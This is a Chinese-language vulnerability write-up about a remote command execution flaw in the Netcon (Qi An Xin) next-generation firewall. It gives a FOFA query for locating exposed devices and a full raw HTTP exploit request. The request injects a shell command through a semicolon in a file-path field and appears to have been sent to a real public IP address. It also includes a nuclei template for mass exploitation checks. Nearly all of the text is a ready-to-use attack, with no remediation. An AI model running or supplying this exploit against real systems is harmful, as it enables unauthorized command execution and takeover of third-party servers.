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漏洞描述
奇安信网康下一代防火墙(NGFW)是网康科技推出的一款可全面应对网络威胁的高性能应用层防火墙,存在远程命令执行,通过漏洞攻击者可以获取服务器权限。
fofa语句
app="网康科技-下一代防火墙"
漏洞复现
打开页面
构造payload
POST /directdata/direct/router HTTP/1.1
Host: 58.213.117.66:8443
Cookie: PHPSESSID=m9o5p5o37rcqe2sto7mqm5ej82; ys-active_page=s%3A
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;id >/var/www/html/changge.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
查看页面
nuclei批量验证
id: WangKang-NGFW-RCE
info:
name: 网康科技-下一代防火墙存在任意命令执行漏洞
author: changge
severity: critical
description: 奇安信网康下一代防火墙(NGFW)是网康科技推出的一款可全面应对网络威胁的高性能应用层防火墙,存在远程命令执行,通过漏洞攻击者可以获取服务器权限。
metadata:
max-request: 1
fofa-query: body="app/feature/portForwarding.js" || body="app/app.translate-config.js"
verified: true
variables:
file_name: "{{to_lower(rand_text_alpha(6))}}.txt"
requests:
- raw:
- |-
POST /directdata/direct/router HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Host: {{Hostname}}
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;id >/var/www/html/{{file_name}}"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
- |+
GET /{{file_name}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
matchers:
- type: dsl
dsl:
- 'contains((body_2), "uid") && status_code_2 == 200'